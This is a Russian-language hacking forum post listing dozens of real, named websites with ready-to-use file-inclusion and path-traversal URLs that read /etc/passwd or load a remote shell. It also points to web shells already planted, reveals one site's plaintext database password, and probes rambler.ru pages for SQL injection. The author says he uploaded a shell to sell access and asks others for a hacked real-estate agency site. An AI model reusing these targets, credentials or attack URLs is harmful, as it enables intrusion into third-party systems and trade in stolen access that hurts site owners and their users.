ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Вот жменька:
//-------------------------------------------------------------------------------
http://www.empirekosher.com/zip.php?contentpage=/etc/passwd
http://www.empirekosher.com/zip.php?contentpage=/tmp/error.php
http://www.empirekosher.com/zip.php?contentpage=[shell.from.ftp]
http://www.empirekosher.com/zip.php?contentpage=/wwww/htdocs/ (more hosts) acces
acces:
http://acmedistributinginc.com/log/
http://acmedistributinginc.com/log/error.php (is shell)
http://www.aftyouth.com/index.php
//-------------------------------------------------------------------------------
http://www.potterfan.com/fun.php?pf=[shell].php
http://www.potterfan.com/galleries/error.php (is shell)
$CONFIG['dbserver'] = 'localhost'; // Your database server
$CONFIG['dbuser'] = 'potterfa_galleri'; // Your mysql username
$CONFIG['dbpass'] = '356801'; // Your mysql password
$CONFIG['dbname'] = 'potterfa_galleries'; // Your mysql database name
//-------------------------------------------------------------------------------

http://www.invest-telekom.ru/main.php?i=service&d=[shell_url_path]&p=[shell_name].php
//-------------------------------------------------------------------------------
http://www.eelriver.org/engine.php?bit=../../../../etc/passwd
//---------------------------------------------------------------------------------
http://www.emsukraine.com.ua/index2.php3?name=[shell]
http://www.emsukraine.com.ua/tmp/error.php (shell)
//---------------------------------------------------------------------------------
http://www.energoprom.org.ua/rus.php?inc=[shell].php
http://www.energoprom.org.ua/oscom/error.php (shell)
-----------------------------------------------------------------------------------
http://www.star-bridge.org/?section=history&subsection=[shell]
-----------------------------------------------------------------------------------
http://www.morozov.com.ua/rus/body/video.php?menu=../../../../../etc/passwd
-----------------------------------------------------------------------------------
http://www.mobistyle.com.ua/?action=[shell].php
-----------------------------------------------------------------------------------
http://credit.koras.com.ua/?[shell]
http://credit.koras.com.ua/?/var/www/koras/tmp/error.php (shell)
-----------------------------------------------------------------------------------
http://www.td-bm.com.ua/?[shell]
-----------------------------------------------------------------------------------
http://www.atp.zp.ua/oborud.php?cmd=viewnews&name=../../../etc/passwd
-----------------------------------------------------------------------------------
http://www.feod.com.ua/print.php?/etc/passwd
-----------------------------------------------------------------------------------
http://www.vision-ua.com/patient/print.php?[shell]
http://www.vision-ua.com/patient/error.php (shell)
-----------------------------------------------------------------------------------
http://www.oselya.lviv.ua/jp/notez/index.php?vibor=[shell]
-----------------------------------------------------------------------------------
http://www.delight.dn.ua/index.php?go_id=other&url=[shell]
-----------------------------------------------------------------------------------
http://www.lbu.kiev.ua/index.php?r=devices&id=[url.html]
-----------------------------------------------------------------------------------
http://www.skifiya.com.ua/?ch=[shell].php
-----------------------------------------------------------------------------------
http://www.rondo.co.ua/?p=worker_info&link=[shell]
-----------------------------------------------------------------------------------
http://www.gashuk.kiev.ua/index.php?id=[shell]
-----------------------------------------------------------------------------------
http://www.multydom.crimea.ua/index.php?[shell].php

Edit:

Вот рамблер на вшивость проверяю иногда, нашол скрипт доступный на скачку, может кому пригодиться:

http://orsn.rambler.ru/images/captcha.php

(скрипт покамис скачуеться как фаил и можно поглядеть пхп код этого скрипта)

------------------------------------------------------------
Вроде нашол уязвимое место:
http://polls.rambler.ru/result.html?rubric=+&id=1262
в параметре rubric если вставить число 150 то выводит страницу, если лешее число то пишет страница ненайдена, пробывал туда мускул запросы сувать - выводит пустую страницу.. Здесь наверно или ниче нет или вывод ошибок перекрыт?

------------------------------------------------------------
Вот еще интересный прикол:
http://love.rambler.ru/tips/?tip=Login'
Ответ:
Внутренняя ошибка сервера
Произошла ошибка на стороне сервера. Служба поддержки автоматически проинформирована об этом. Попробуйте повторить операцию через некоторое время. В случае если ошибка повторится, свяжитесь со службой поддержки.

ггг
-------------------------------------------------------------
Ктото рамблер редактирует:
Заходя на http://shop.rambler.ru/ идет переадресация на http://shop.rambler.ru/index.php?root=1
И пишет ошибку:
Fatal error: Call to undefined function getMainCatsName() in /var/www/html/fo/ehouse/html/ssi/search_form.php on line 5

kjentfolk.no какая-то группа.

Народ, хелп, у когонить случайно незавалялся скрипт или доступ к хакнутому "агенству недвижимости"?
П.С очень нужно, ща вот сам через гуглю ищу дырявые "агенства недвижимости", если найду - выложу)

(Если кто жадный - могу поменять на скрипт инет магазина который я делал сам вручную снуля, вот пример: http://else.com.ua)

-----------------------------------------------------------------------
Вот нашол и залил шелл: http://www.multydom.crimea.ua/error.php
но эт некатит, ибо сделано кривыми руками и больше 20 баксов мне за него недадут...
-----------------------------------------------------------------------

Если кому несложно, выручите меня, буду всегда рад помоч...

P.S нужно чото типа этого агенства недвижимости: http://www.arcoreal.com.ua
(чтоб был поиск по хатам)

http://nadejda.com.ua/index.php?page=search&prm=/../../../../../etc/passwd&opend=3

Жаль что шелл низя залить, какраз ищу сайт по недвижимости с поиском по параметрам

вот прорыв крыши =))почти )))